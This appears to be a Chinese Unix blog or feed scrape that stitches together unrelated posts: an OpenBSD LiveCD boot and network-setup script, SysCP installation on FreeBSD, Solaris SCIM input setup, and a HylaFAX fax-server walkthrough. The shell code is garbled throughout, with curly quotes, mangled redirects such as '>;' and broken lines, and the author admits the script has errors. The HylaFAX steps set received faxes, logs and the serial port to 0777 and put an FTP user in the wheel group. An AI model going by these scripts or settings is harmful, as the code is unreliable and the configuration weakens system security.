if [ -f /mfs/mfs.tgz ]; then

tar zxpf /mfs/mfs.tgz -C /

echo ‘Fixed up mfs from /mfs/mfs.tgz’

fi

chmod 755 /dev /etc /var

chmod a+rwx,a+t /tmp

# set flags on ttys. (do early, in case they use tty for SLIP in netstart)

echo ‘setting tty flags’

ttyflags -a

if [ "X${pf}" != X"NO" ]; then

RULES=”block all”

RULES=”$RULES\npass on lo0″

RULES=”$RULES\npass in proto tcp from any to any port 22 keep state”

RULES=”$RULES\npass out proto { tcp, udp } from any to any port 53 keep

state”

RULES=”$RULES\npass out inet proto icmp all icmp-type echoreq keep

state”

RULES=”$RULES\npass out inet6 proto icmp6 all icmp6-type routersol”

RULES=”$RULES\npass in inet6 proto icmp6 all icmp6-type routeradv”

RULES=”$RULES\npass proto { pfsync, carp }”

case `sysctl vfs.mounts.nfs 2>;/dev/null` in

*[1-9]*)

# don’t kill NFS

RULES=”scrub in all no-df\n$RULES”

RULES=”$RULES\npass in proto udp from any port { 111, 2049 } to

any”

RULES=”$RULES\npass out proto udp from any to any port { 111,

2049 }”

;;

esac

echo $RULES | pfctl -f – -e

fi

if [ -f /etc/sysctl.conf ]; then

(

# delete comments and blank lines

set — `stripcom /etc/sysctl.conf`

while [ $# -ge 1 ] ; do

sysctl $1

shift

done

)

fi

# set hostname, turn on network

echo “Setting Network……” 修改这里, 加入我写的setnetwork脚本,

. /etc/setnetwork 这样网络设置在每台机上都可以重新设置而不是

更改文件.

3、上一步最后有一个setnetwork脚本，这一步写出。我的脚本编写不会， 只好从其它地方

抄过来，有一些错误，需要请高手改写。这个文件有点大， 贴在最后吧！

4、将一些网络配置的文件删除如：hosts, mygate等。上一步的network在启动时会生成这

些配置文件。

五、 备份几个目录，在4.3 rc脚本中的MFS部分那个文件。
在/usr/live/ LiveCD根目录下建立文件夹：mfs 然后：
# tar cvzfp mfs/mfs.tgz dev etc home var

六、 制作ISO镜像：
# cd /usr/live
# mkhybrid –b cdrom36.fs –c boot.catalog –R –v –o /usr/OpenBSD-LiveCD.iso

/usr/live

现在制作完成， 你可以用虚拟机测试这个生成的ISO镜像。
参考网上许多文章, 这里就不一一列出来, 感谢那些大哥写出那么好的教程.

我现在还有几个问题需要解决，主要是MFS这方面的，另外shell脚本的错误也需要大家来解

决。
设置网络用的setnetwork脚本:
setnetwork：

#!/bin/sh

get_dkdevs() {

bsort `sed -ne “${MDDISKDEVS:-/^[sw]d[0-9][0-9]* /s/ .*//p}”

/var/run/dmesg.boot`

}

get_cddevs() {

bsort `sed -ne “${MDCDDEVS:-/^cd[0-9][0-9]* /s/ .*//p}”

/var/run/dmesg.boot`

}

get_ifdevs() {

ifconfig -a \

| egrep -v ‘^[[:space:]]|

(bridge|enc|gif|gre|lo|pflog|pfsync|ppp|sl|tun|vlan)[[:digit:]]+:’ \

| sed -ne ‘s/^\(.*\):.*/\1/p’

}

askpass() {

set -o noglob

stty -echo

read resp?”$1 ”

stty echo

set +o noglob

echo

}

ask() {

local _question=$1 _default=$2

set -o noglob

while : ; do

echo -n “$_question ”

[[ -z $_default ]] || echo -n “[$_default] ”

read resp

case $resp in

!) echo “Type ‘exit’ to return to install.”

sh

;;

!*) eval ${resp#?}

;;

*) : ${resp:=$_default}

break

;;

esac

done

set +o noglob

}

ask_until() {

resp=

while [[ -z $resp ]] ; do

ask “$1″ “$2″

done

}

ask_yn() {

local _q=$1 _a=${2:-no} _resp

typeset -l _resp

while : ; do

ask “$_q” “$_a”

_resp=$resp

case $_resp in

y|yes) resp=y ; return ;;

n|no) resp=n ; return ;;

esac

done

}

ask_which() {

local _name=$1 _query=$2 _devs=$3 _defdev=$4 _err=$5

set — $_devs

if [[ $# -lt 1 ]]; then

echo “${_err:=No ${_name}s found}.”

resp=done

return

fi

: ${_defdev:=$1}

_devs=”$*”

while : ; do

ask “Available ${_name}s are: ${_devs}.\nWhich one ${_query}?

(or ‘done’)” “$_defdev”

[[ $resp == done ]] && break

if isin “$resp” $_devs; then

makedev $resp && break

else

echo “‘$resp’ is not a valid choice.”

fi

done

}

isin() {

local _a=$1 _b

shift

for _b; do

[ "$_a" = "$_b" ] && return 0

done

return 1

}

addel() {

local _a=$1

shift

echo -n “$*”

isin “$_a” $* || echo -n ” $_a”

}

rmel() {

local _a=$1 _b

shift

for _b; do

[ "$_a" != "$_b" ] && echo -n “$_b ”

done

}

edit_tmp_file() {

local _file=$1

ask_yn “Edit $_file with $EDITOR?”

[[ $resp == y ]] && $EDITOR /tmp/$_file

}

manual_net_cfg() {

ask_yn “Do you want to do any manual network configuration?”

[[ $resp == y ]] && { echo “Type ‘exit’ to return to $MODE.” ; sh ; }

}

makedev() {

local _dev=$1 _node=/dev/r${1}c

if isin $_dev $IFDEVS || [[ -c $_node || -z ${_dev##+([0-9])} ]] ; then

return 0

fi

if [[ ! -r /dev/MAKEDEV ]] ; then

echo “No /dev/MAKEDEV. Can’t create device nodes for ${_dev}.”

return 1

fi

(cd /dev; sh MAKEDEV $_dev)

[[ -c $_node ]] || return 1

DEVSMADE=`addel $_dev $DEVSMADE`

}

addhostent() {

sed “/ $2\$/d” /etc/hosts >; /etc/hosts.new

mv /etc/hosts.new /etc/hosts

echo “$1 $2″ >;>; /etc/hosts

}

configure_ifs() {

local _IFDEVS=$IFDEVS _ifs _name _media _hn

while : ; do

ask_which “interface” “do you wish to initialize” “$_IFDEVS” \

“” “No more interfaces to initialize”

[[ $resp == done ]] && break

_ifs=$resp

_hn=/etc/hostname.$_ifs

ask “Symbolic (host) name for $_ifs?” “$(hostname -s)”

_name=$resp

_media=$(ifconfig -m $_ifs | grep “media “)

if [[ -n $_media ]]; then

cat << __EOT

The media options for $_ifs are currently

$(ifconfig -m $_ifs | sed -n '/supported/D;/media:/p')

__EOT

ask_yn "Do you want to change the media options?"

case $resp in

y) cat << __EOT

Supported media options for $_ifs are:

$_media

__EOT

ask "Media options for $_ifs?"

_media=$resp

ifconfig $_ifs $_media || return 1

;;

n) _media=

;;

esac

fi

rm -f $_hn

v4_config "$_ifs" "$_media" "$_name" "$_hn"

[[ -f $_hn ]] && _IFDEVS=$(rmel "$_ifs" $_IFDEVS)

done

}

v4_info() {

ifconfig $1 inet | sed -n '

1s/.*

1s/.*<.*/DOWN/p

/inet/s/netmask//

/inet/s///p'

}

dhcp_request() {

local _ifs=$1 _hostname=$2

echo "initial-interval 1;" >; /etc/dhclient.conf

if [[ -n $_hostname ]]; then

echo “send host-name \”$_hostname\”;” >;>; /etc/dhclient.conf

echo “Issuing hostname-associated DHCP request for $_ifs.”

else

echo “Issuing free-roaming DHCP request for $_ifs.”

fi

cat >;>; /etc/dhclient.conf << __EOT

request subnet-mask,

broadcast-address,

routers,

domain-name,

domain-name-servers,

host-name;

__EOT

cat >;>; /etc/resolv.conf.tail << __EOT

lookup file bind

__EOT

dhclient $_ifs

set -- $(v4_info $_ifs)

if [[ $1 == UP && $2 == "0.0.0.0" ]]; then

ifconfig $_ifs delete down

rm /etc/dhclient.conf /etc/resolv.conf.tail

return 1

fi

# cp /etc/dhclient.conf /tmp/dhclient.conf

# cp /etc/resolv.conf.tail /tmp/resolv.conf.tail

return 0

}

v4_config() {

local _ifs=$1 _media=$2 _name=$3 _hn=$4 _prompt

set -- $(v4_info $_ifs)

if [[ -n $2 ]]; then

ifconfig $_ifs inet $2 delete

[[ $2 != "0.0.0.0" ]] && { _addr=$2; _mask=$3; }

fi

[[ -x /sbin/dhclient ]] && _prompt=" or 'dhcp'"

_prompt="IPv4 address for $_ifs? (or 'none'$_prompt)"

ask_until "$_prompt" "$_addr"

case $resp in

none) ;;

dhcp) if [[ ! -x /sbin/dhclient ]]; then

echo "DHCP not possible - no /sbin/dhclient."

elif dhcp_request $_ifs "$_name" || dhcp_request $_ifs ; then

addhostent "127.0.0.1" "$_name"

echo "dhcp NONE NONE NONE $_media" >; $_hn

fi

;;

*) _addr=$resp

ask_until “Netmask?” “${_mask:=255.255.255.0}”

if ifconfig $_ifs inet $_addr netmask $resp up ; then

addhostent “$_addr” “$_name”

echo “inet $_addr $resp NONE $_media” >; $_hn

fi

;;

esac

}

v4_defroute() {

local _dr _prompt=” or ‘none’”

[[ -x /sbin/dhclient ]] && _prompt=”, ‘dhcp’$_prompt”

_prompt=”Default IPv4 route? (IPv4 address$_prompt)”

_dr=$(route -n show -inet | sed -ne ‘/^default */{s///; s/ .*//; p;}’)

[[ -f /tmp/dhclient.conf ]] && _dr=dhcp

while : ; do

ask_until “$_prompt” “$_dr”

case $resp in

none|dhcp) break ;;

esac

route delete -inet default >; /dev/null 2>;&1

route -n add -inet -host default “$resp” && { echo “$resp”

>;/etc/mygate ; break ; }

route -n add -inet -host default $_dr >;/dev/null 2>;&1

done

}

isalphanumeric() {

local _n=$1

while [[ ${#_n} -ne 0 ]]; do

case $_n in

[A-Za-z0-9]*) ;;

*) return 1;;

esac

_n=${_n#?}

done

return 0

}

enable_network() {

local _netfile

# for _netfile in hosts dhclient.conf resolv.conf resolv.conf.tail

protocols services; do

# if [ -f /mnt/etc/${_netfile} ]; then

# cp /mnt/etc/${_netfile} /etc/${_netfile}

# fi

# done

ifconfig lo0 inet 127.0.0.1

for hn in /etc/hostname.*; do

if=${hn#/etc/hostname.}

if ! isalphanumeric “$if”; then

continue

fi

ifconfig $if >; /dev/null 2>;&1

if [ $? -ne 0 ]; then

continue

fi

while :; do

if [ "$cmd2" ]; then

set — $cmd2

af=$1 name=$2 mask=$3 bcaddr=$4 ext1=$5 cmd2=

i=1; while [ i -lt 6 -a -n "$1" ]; do shift; let

i=i+1; done

ext2=”$@”

else

read af name mask bcaddr ext1 ext2 || break

fi

case $af in

“#”*|”!”*|”bridge”|”"|”rtsol”)

continue

;;

“dhcp”) [ "$name" = "NONE" ] && name=

[ "$mask" = "NONE" ] && mask=

[ "$bcaddr" = "NONE" ] && bcaddr=

ifconfig $if $name $mask $bcaddr $ext1 $ext2

down

cmd=”dhclient $if”

;;

“up”)

cmd=”ifconfig $if $name $mask $bcaddr $ext1

$ext2 up”

;;

*) read dt dtaddr

if [ "$name" = "alias" ]; then

alias=$name

name=$mask

mask=$bcaddr

bcaddr=$ext1

ext1=$ext2

ext2=

else

alias=

fi

cmd=”ifconfig $if $af $alias $name ”

case $dt in

dest) cmd=”$cmd $dtaddr”

;;

[a-z!]*)

cmd2=”$dt $dtaddr”

;;

esac

if [ ! -n "$name" ]; then

echo “/etc/hostname.$if: invalid network

configuration file”

return

fi

case $af in

inet) [ "$mask" ] && cmd=”$cmd netmask $mask”

if [ "$bcaddr" -a "$bcaddr" != "NONE" ];

then

cmd=”$cmd broadcast $bcaddr”

fi

[ "$alias" ] && rtcmd=”; route -qn add

-host $name 127.0.0.1″

;;

inet6)

continue

;;

*) cmd=”$cmd $mask $bcaddr”

esac

cmd=”$cmd $ext1 $ext2$rtcmd” rtcmd=

;;

esac

eval “$cmd”

done

done

if [ -f /etc/mygate ]; then

route delete default >;/dev/null 2>;&1

route -qn add -host default $(< /etc/mygate)

fi

route -qn add -host `hostname` 127.0.0.1 >;/dev/null

route -qn add -net 127 127.0.0.1 -reject >;/dev/null

echo “Network interface configuration:”

ifconfig -am

route -n show

if [ -f /etc/resolv.conf ]; then

echo “\nResolver enabled.”

else

echo “\nResolver not enabled.”

fi

}

get_fqdn() {

local _dn

_dn=$(hostname)

_dn=${_dn#$(hostname -s)}

_dn=${_dn#.}

echo “${_dn:=my.domain}”

}

donetconfig() {

local _dn _ns

configure_ifs

if [ -f /etc/resolv.conf.shadow ]; then

mv /etc/resolv.conf.shadow /etc/resolv.conf

_ns=$(sed -ne ‘/^nameserver /s///p’ /etc/resolv.conf)

_dn=$(sed -n \

-e ‘/^domain[[:space:]][[:space:]]*/{s///;s/\([^

[:space:]]*\).*$/\1/;h;}’ \

-e ‘/^search[[:space:]][[:space:]]*/{s///;s/\([^

[:space:]]*\).*$/\1/;h;}’ \

-e ‘${g;p;}’ /tmp/resolv.conf)

fi

ask “DNS domain name? (e.g. ‘bar.com’)” “${_dn:=$(get_fqdn)}”

hostname “$(hostname -s).$resp”

ask “DNS nameserver? (IP address or ‘none’)” “${_ns:=none}”

if [[ $resp != none ]]; then

echo “lookup file bind” >; /etc/resolv.conf

for _ns in $resp; do

echo “nameserver $_ns” >;>; /etc/resolv.conf

done

ask_yn “Use the nameserver now?” yes

[[ $resp == y ]] && cp /etc/resolv.conf /etc/resolv.conf.shadow

fi

[[ -n $(ifconfig -a | sed -ne '/[ ]inet .* broadcast /p’) ]] &&

v4_defroute

# edit_tmp_file hosts

# manual_net_cfg

}

IFDEVS=$(get_ifdevs)

MODE=OpenBSD-LiveCD

EDITOR=mg

ask_until “\nSystem hostname? (short form, e.g. ‘foo’)” “$(hostname -s)”

[[ ${resp%%.*} != $(hostname -s) ]] && hostname $resp

( cd /etc; rm -f host* my* resolv.* dhclient.* )

cat >; /etc/hosts << __EOT

::1 localhost

127.0.0.1 localhost

::1 $(hostname -s)

127.0.0.1 $(hostname -s)

__EOT

ask_yn "Configure the network?" yes

[[ $resp == y ]] && donetconfig

( cd /etc

hostname >; myname

_dn=$(get_fqdn)

while read _addr _hn _aliases; do

if [[ -n $_aliases || $_hn != ${_hn%%.*} || -z $_dn ]]; then

echo “$_addr $_hn $_aliases”

else

echo “$_addr $_hn.$_dn $_hn”

fi

done < hosts >; hosts.new

mv hosts.new hosts

)

ask “HTTP/FTP proxy URL? (e.g. ‘http://proxy:8080′, or ‘none’)” \

“${ftp_proxy:-none}”

unset ftp_proxy http_proxy

[[ $resp == none ]] || export ftp_proxy=$resp http_proxy=$resp

1、添加FreeBSD的Ports包更新工具CVSUP pkg_add -r cvsup-without-gui

2、添加FreeBSD的bash pkg_add -r bash

3、修改以下文件的CHANGE_THIS.FREEBSD.ORG为cvsup.freebsdchina.org（位于第49行） /usr/share/examples/cvsup/ports-supfile /usr/share/examples/cvsup/www-supfile /usr/share/examples/cvsup/stable-supfile

4、重启后更新系统 cvsup -g -L 2 /usr/share/examples/cvsup/ports-supfile cvsup -g -L 2 /usr/share/examples/cvsup/www-supfile cvsup -g -L 2 /usr/share/examples/cvsup/stable-supfile

5、开始安装SYSCP cd /usr/ports/sysutils/syscp make all install clean

对话框Options for apache 2.2.6_2 [X] MYSQL Enable MySQL support for apr-dbd [X] AUTH_BASIC [...]]]> 实施环境：FreeBSD 7 Beta 1.5 AMD64位，CD光盘。采用Mini安装，允许SSH。

1、添加FreeBSD的Ports包更新工具CVSUP
pkg_add -r cvsup-without-gui

2、添加FreeBSD的bash
pkg_add -r bash

3、修改以下文件的CHANGE_THIS.FREEBSD.ORG为cvsup.freebsdchina.org（位于第49行）
/usr/share/examples/cvsup/ports-supfile
/usr/share/examples/cvsup/www-supfile
/usr/share/examples/cvsup/stable-supfile

4、重启后更新系统
cvsup -g -L 2 /usr/share/examples/cvsup/ports-supfile
cvsup -g -L 2 /usr/share/examples/cvsup/www-supfile
cvsup -g -L 2 /usr/share/examples/cvsup/stable-supfile

5、开始安装SYSCP
cd /usr/ports/sysutils/syscp
make all install clean

对话框Options for apache 2.2.6_2
[X] MYSQL Enable MySQL support for apr-dbd
[X] AUTH_BASIC Enable mod_auth_basic
[X] AUTH_DIGEST Enable mod_auth_digest
[X] AUTHN_FILE Enable mod_authn_file
[X] AUTHN_DBD Enable mod_authn_dbd
[X] AUTHN_DBM Enable mod_authn_dbm
[X] AUTHN_ANON Enable mod_authn_anon
[X] AUTHN_DEFAULT Enable mod_authn_default
[X] AUTHN_ALIAS Enable mod_authn_alias
[X] AUTHZ_HOST Enable mod_authz_host
[X] AUTHZ_GROUPFILE Enable mod_authz_groupfile
[X] AUTHZ_USER Enable mod_authz_user
[X] AUTHZ_DBM Enable mod_authz_dbm
[X] AUTHZ_OWNER Enable mod_authz_owner
[X] AUTHZ_DEFAULT Enable mod_authz_default
[X] CACHE Enable mod_cache
[X] DISK_CACHE Enable mod_disk_cache
[X] FILE_CACHE Enable mod_file_cache
[X] DAV Enable mod_dav
[X] DAV_FS Enable mod_dav_fs
[X] ACTIONS Enable mod_actions
[X] ALIAS Enable mod_alias
[X] ASIS Enable mod_asis
[X] AUTOINDEX Enable mod_autoindex
[X] CERN_META Enable mod_cern_meta
[X] CGI Enable mod_cgi
[X] CHARSET_LITE Enable mod_charset_lite
[X] DBD Enable mod_dbd
[X] DEFLATE Enable mod_deflate
[X] DIR Enable mod_dir
[X] DUMPIO Enable mod_dumpio
[X] ENV Enable mod_env
[X] EXPIRES Enable mod_expires
[X] HEADERS Enable mod_headers
[X] IMAGEMAP Enable mod_imagemapx
[X] INCLUDE Enable mod_include
[X] INFO Enable mod_info
[X] LOG_CONFIG Enable mod_log_config
[X] LOGIO Enable mod_logio
[X] MIME Enable mod_mime
[X] MIME_MAGIC Enable mod_mime_magic
[X] NEGOTIATION Enable mod_negotiation
[X] REWRITE Enable mod_rewrite
[X] SETENVIF Enable mod_setenvif
[X] SPELING Enable mod_speling
[X] STATUS Enable mod_status
[X] UNIQUE_ID Enable mod_unique_id
[X] USERDIR Enable mod_userdir
[X] USERTRACK Enable mod_usertrack
[X] VHOST_ALIAS Enable mod_vhost_alias
[X] FILTER Enable mod_filter
[X] VERSION Enable mod_version
[X] SSL Enable mod_ss

对话框Options for dovecot 1.0.7选择
[X] KQUEUE kqueue(2) support
[X] SSL SSL support
[X] IPV6 IPv6 support
[X] POP3 POP3 support
[X] LDA LDA support
[X] MYSQL MySQL support
[X] SQLITE SQLite support

对话框Options for postfix 2.4.6,1，选择
[X] PCRE Perl Compatible Regular Expressions
[X] DOVECOT Dovecot SASL authentication method
[X] BDB Berkeley DB (choose version with WITH_BDB_VER)
[X] MYSQL MySQL maps (choose version with WITH_MYSQL_VER)
[X] VDA VDA (Virtual Delivery Agent)

You need user “postfix” added to group “mail”.
Would you like me to add it [y]? Y

Would you like to activate Postfix in /etc/mail/mailer.conf [n]? y

选择Options for proftpd-mysql 1.3.1_1
[X] MYSQL Use MySQL
[X] OPENSSL Include mod_tls
[X] QUOTA Include mod_quota
[X] IFSESSION Include mod_ifsession
[X] README Include mod_readme
[X] RATIO Include mod_ratio
[X] REWRITE Include mod_rewrite
[X] WRAP Include mod_wrap2
[X] RADIUS Include mod_radius

选项 Options for gd 2.0.35,1
[X] ICONV iconv support

对话框Options for php5 5.2.4_1
[X] CLI Build CLI version
[X] CGI Build CGI version
[X] APACHE Build Apache module
[X] SUHOSIN Enable Suhosin protection system (not for jails)
[X] MULTIBYTE Enable zend multibyte support
[X] FASTCGI Enable fastcgi support (CGI only)
[X] PATHINFO Enable path-info-check support (CGI only)

//对话框Options for php5 5.2.4_1，我选择：
[X] CLI Build CLI version
[X] CGI Build CGI version
[X] APACHE Build Apache module
[X] SUHOSIN Enable Suhosin protection system (not for jails)
[X] MULTIBYTE Enable zend multibyte support
[X] FASTCGI Enable fastcgi support (CGI only)
[X] PATHINFO Enable path-info-check support (CGI only)

6、创建并编辑/usr/local/etc/apache22/Includes/aliases.conf
ee /usr/local/etc/apache22/Includes/aliases.conf

Alias /syscp “/usr/local/www/syscp/”

AllowOverride None

7、修改/usr/local/etc/apache2/httpd.conf
ee /usr/local/etc/apache2/httpd.conf
添加：
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

7、重新加载Apache配置
/usr/local/sbin/apachectl graceful

8、编辑/etc.rc.conf
apache22_enable=”YES”
mysql_enable=”YES”
named_enable=”YES”
dovecot_enable=”YES”
postfix_enable=”YES”
proftpd_enable=”YES”

9、完成配置，重启后就可以进入http://您的IP/syscp管理系统

“/usr/lib//gtk-2.0/2.10.0/immodules/im-iiim.so” “iiim” “Internet/Intranet Input Method” “iiimgcf” “/usr/share/locale” “”

b. 在

“scim” “SCIM Input Method” “scim” “/usr/share/locale” “”

后面的最后一对引号内增加ja:ko:zh,即：

“scim” “SCIM Input Method” “scim” “/usr/share/locale” “ja:ko:zh”

4. 保存，重启即可．

另一种安装五笔输入法的方法： 首先保证你的机子联网 1.安装scim 打开软件包管理器，在搜索中输入scim,(这里在软件包管理器中要保证“显示：所有软件包”） 安装SUNWscim SUNWscim-tables SUNWscim-tables-chinese 2.删除iiim(系统自带的拼音输入法） 在搜索中输入iiim 删除显示的七个软件包，SUNWiiimf SUNWiiimf-ja-anthy SUNWiiimf-ko-hangul SUNWiiimf-zhCN-cle-core SUNWiiimf-zhCN-cle-sunpinyin SUNWiiimf-zhTW-twle-chewing SUNWiiimf-zhTW-twle-core 3.按Ctrl+Alt+退格键重启gnome，再次登陆就可以使用scim的五笔。

FreeBSD安装选择Minimal+Ports 域名：fax.test.org IP:192.168.1.203 新建用户:vincent 属于wheel组

Handbook http://cnsnap.cn.freebsd.org/doc … ndbook/install.html

开启FTP服务

编辑/etc/inetd.conf文件去掉ftp前的注释’#'。

#vi /etc/inetd.conf ftp stream tcp nowait root /usr/libexec/ftpd ftpd -l

启动inetd程序 #/etc/rc.d/inetd start

添加vincent用户，用于FTP登录上传文件 #pw useradd vincent -s /bin/csh -d /home/vincent -m -g wheel -h 0

—————————————————————————-

使用wget加快ports软件下载

安装wget程序，加快软件包下载速度。 #cd /usr/ports/net/wget #make install clean

编辑/etc/make.conf #vi /etc/make.conf

FETCH_CMD=wget -c -t 1 DISABLE_SIZE=yes

MASTER_SITE_OVERRIDE= \ ftp://ftp.tw.freebsd.org/pub/FreeBSD/ports/distfiles/ \ ftp://ftp.freebsdchina.org/pub/FreeBSD/ports/distfiles/

设置使用ftp.tw.freebsd.org为主下载站点，加快Package软件下载，编辑用户目录下的.cshrc文件加入

#vi .cshrc [...]]]> 以下文章也是转摘于网上。有空，俺要实际操作一下，以前，俺一直想弄个EFAX服务器，但可惜，由于文档少，以及时间上不方便，就没再深究，现在有此好文档，有机会，也要好好研究一下。。。

FreeBSD安装选择Minimal+Ports
域名：fax.test.org IP:192.168.1.203 新建用户:vincent 属于wheel组

Handbook
http://cnsnap.cn.freebsd.org/doc … ndbook/install.html

开启FTP服务

编辑/etc/inetd.conf文件去掉ftp前的注释’#'。

#vi /etc/inetd.conf
ftp stream tcp nowait root /usr/libexec/ftpd ftpd -l

启动inetd程序
#/etc/rc.d/inetd start

添加vincent用户，用于FTP登录上传文件
#pw useradd vincent -s /bin/csh -d /home/vincent -m -g wheel -h 0

—————————————————————————-

使用wget加快ports软件下载

安装wget程序，加快软件包下载速度。
#cd /usr/ports/net/wget
#make install clean

编辑/etc/make.conf
#vi /etc/make.conf

FETCH_CMD=wget -c -t 1
DISABLE_SIZE=yes

MASTER_SITE_OVERRIDE= \
ftp://ftp.tw.freebsd.org/pub/FreeBSD/ports/distfiles/ \
ftp://ftp.freebsdchina.org/pub/FreeBSD/ports/distfiles/

设置使用ftp.tw.freebsd.org为主下载站点，加快Package软件下载，编辑用户目录下的.cshrc文件加入

#vi .cshrc //编辑完后记得重新登录
setenv PACKAGEROOT ftp://ftp.tw.freebsd.org

——————————————————————————————–

HylaFAX ( WebSite http://www.hylafax.org/ )

HylaFAX是一个基于C/S 架构,企业级的收发传真系统，高效稳固。局域网中只要有一台连接Modem的HylaFAX服务器，就能为局域网所有用户提供传真服务。

软件安装

Package方法安装
#pkg_add -r hylafax

或者

Ports方法安装
#cd /usr/ports/comms/hylafax
#make install clean

软件设置

#faxsetup

Should an entry be added for the FaxMaster to /etc/aliases [yes]?
应该在/etc/aliases中增加一个条FaxMaster记录[yes]? yes

Users to receive fax related mail [root]?
输入接收传真相关信息的Email用户[root]? vincent

Are these ok [yes]?
确认以上信息是否正确[yes]? yes

Country code [1]?
国家代码[1]? 0086

Area code []?
区号[]? 0750

Long distance dialing prefix [1]?
长途拨号前缀 [1]? 0

International dialing prefix [011]?
国际拨号前缀 [001]? 0750

Dial string rules file (relative to /var/spool/hylafax)["etc/dialrules"]?
拨号规则文件( /var/spool/hylafax )["etc/dialrule"]? 按enter默认

Tracing during normal server operation [1]?
追踪正常服务程序[1]? 1

Default tracing during send and receive session [0xfffffffff]?
默认追查在发送和接收 session [0xfffffffff]? 按enter默认

Continuation cover page (relative to /var/spool/hylafax) []?
传真封面页所在目录 ( /var/spool/hylafax )[]? 按enter默认

Timeout when converting PostScript documents (secs) [180]?
转换PostScript文件逾时时间[180]? 180

Maximum number of concurrent jobs to a destination[1]?
一个目的地最大数量的并行工作[1]? 1

Define a group of modems []
定义一组调制解调器[] 按enter默认

Time of day restrictions for outbound jobs ["Any"]?
一天中限制传真外发时间["Any"]? 按enter默认

Pathname of destination controls file (relative to /var/spool/hylafax) []?
控制文件的路径( /var/spool/hylafax )[]? 按enter默认

Timeout before purging a stale UUCP lock file (secs) [30]
超时前清除旧的UUCP锁定文件[30]？30

Max number of pages to permit in an outbound job [0xffffffff]?
允许在出站的最大页数[0xffffffff]? 按enter默认

Syslog facility name for ServerTracing messages [daemon]?
系统日志跟踪记录程序[daemon]? 按enter默认

Are these ok [yes]?
确认以上信息是否正确[yes]? yes

Should I restart the HylaFAX process [yes]?
应该重新启动HylaFAX进程[yes]? yes

You do not appear to have any modem configured for use. Modems are
configured for use with HylaFax with the faxaddmodem command.
Do you want to run faxaddmomdem to configure a modme [yes]?
您似乎没有任何调制解调器配置为使用。调制解调器配置为使用HylaFax与faxaddmodem命令。
你想运行faxaddmomdem配置modme[yes]? yes

Serial port that modem is connected to []?
调制解调器连接到那个串行端口[]? ttyd0 //我的是com1,所以是ttyd0；请根据实际配置。

country code[1]
国家代码[1]? 0086

Area code [415]?
区号[]? 0750

Phone number of fax modem [+1,9999.5555.1212]?
传真的电话号码[+1,9999.5555.1212]? 8607501234567

Local Identifications string (for TS/CIG) ["NothingEtup"]?
本地传真机标识(for TS/CIG) ["NothingEtup"]? FreeBSD.org

Long distance dialing prefix [1]?
长途拨号前缀 [1]? 0

International dialing prefix [011]?
国际拨号前缀 [001]? 0750

Dial string rules file (relative to /var/spool/hylafax) [etc/dialrules]?
拨号规则文件( /var/spool/hylafax )["etc/dialrule"]? 按enter默认

Tracing during normal server operation [1]?
追踪正常服务程序[1]? 1

Tracing during send and receive sessions [11]?
追踪发送和接收 session [11]? 按enter默认

Protection mode for received facsimile [0600]?
收到传真的文件权限[0600]？ 0777

Protection mode for session logs [0600]?
记录文件的档案权限[0600]? 0777

Protection mode for ttyd0 [0600]?
端口的访问权限[0600]? 0777

Rings to wait before answering [1]?
响铃几声后，开始接受传真[1]? 2

Modem speaker volume [off]?
Modem的喇叭音量[off]? on

Command line arguments to getty program ["-h %l dx_%s"]?
接收传真的命令行参数["-h %l dx_%s"]? 按enter默认

Pathname of TSI access control list file (relative to /var/spool/hylafax)[""]?
访问控制列表的TSI文件路径( /var/spool/hylafax )[""]? 按enter默认

Pathname of Caller-ID access control list file (relative to /var/spool/hylafax)[""]?
来电Caller-ID访问控制列表文件路径( /var/spool/hylafax )[""]? 按enter默认

Tag line font file (relative to /var/spool/hylafax) [etc/lutRS18.pcf]?
标记行字体文件( /var/spool/hylafax ) [etc/lutRS18.pcf]? 按enter默认

Tag line form string ["From %%1|%c|Page %%P of %%T"]?
标记行字符串形式["From %%1|%c|Page %%P of %%T"]? 按enter默认

Time before purging a stale UUCP lock file (secs) [30]?
超时前清除旧的UUCP锁定文件[30]？30

Hold UUCP lockfile during inbound data calls [Yes]?
当传真进来时，保留UUCP 设定文件[Yes]? yes

Hold UUCP lockfile during inbound voice calls [Yes]?
当语音进来时，保留UUCP 设定文件[Yes]? yes

Percent good lines to accept during copy quality checking [95]?
线路好的时候，在什么百份比时进行检查[95]? 95

Max consecutive bad lines to accept during copy quality checking [5]?
线路不好的时候，在什么百份比时进行检查[5]? 5

Max number of pages to accept in a received facsimile [25]?
每次传真进来的最大可接收页数[25]? 25

Syslog faxility name for ServerTracing messages [daemon]?
系统日志跟踪记录程序[daemon]? 按enter默认

Set UID to 0 to manipulate CLOCAL [""]?
设置的UID为0操作CLOCAL[""]? 按enter默认

Use available priority job scheduling mechanism [""]?
使用现有的优先工作调度机制[""]? 按enter默认

Are these ok [yes]?
确认以上信息是否正确[yes]? yes

Probing for best speed to talk to modem：38400
探索最佳速度交谈调制解调器： 38400

How should it be configured [1]?
应如何配置[1]? 1

DTE-DCE flow control scheme [default]?
流量控制方案[default]? 按enter默认

Are these ok [yes]?
确认以上信息是否正确[yes]? yes

Do you want to run faxaddmodem to configure another modem [yes]?
你想运行的另一个faxaddmodem配置调制解调器[yes]? no

Should I run faxmodem for each configured modem [yes]?
应该为每个运行faxmodem配置调制解调器[yes]? yes

Done verifying system setup.
完成核查系统设置。

编辑/etc/ttys 文件 ，查找“ttyd0″字节，修改为下面值(如果没有找，就在最后加上）

#vi /etc/ttys
ttyd0 “/usr/local/sbin/faxgetty” dialup on

设置开机HylaFax服务自动运行

#cp /usr/local/etc/rc.d/hylafax.sh.sample /usr/local/etc/rc.d/hylafax.sh

启动HylaFax服务

#/usr/local/etc/rc.d/hylafax.sh start

HylaFax命令

faxstat -s （显示队列中等待发送的传真）
faxstat -d （显示已发送的传真）
faxstat -r （显示已接收的传真）
faxrm number_of_job (从队列中去删除一个传真)
faxqclean (清除缓冲池)
faxcron (显示统计结果)

——————————————————————————————–

AvantFAX (WebSite http://www.avantfax.com )

AvantFAX是一种Web应用管理传真的HylaFAX 服务器。
AvantFAX允许用户在任何平台上，来查看和发送传真，而无需安装特殊的软件。它还允许管理员管理用户，他们的权限，传真线，传真类等
AvantFAX可以从本地网络，并通过互联网远程使用标准的网络设备

安装说明: http://www.avantfax.com/install.php

安装AvantFAX之前要先安装以下软件：

HylaFAX 4.4 or HylaFAX EE 3
PHP 5
PHP PEAR 5 including MDB2_driver_mysql, Mail and Mail_Mime
PECL FileInfo
PHP mbstring – for improved UTF-8 sorting support (optional)
PHP MySQL 5
MySQL server 4.1.12 or better (see Important Notes below)
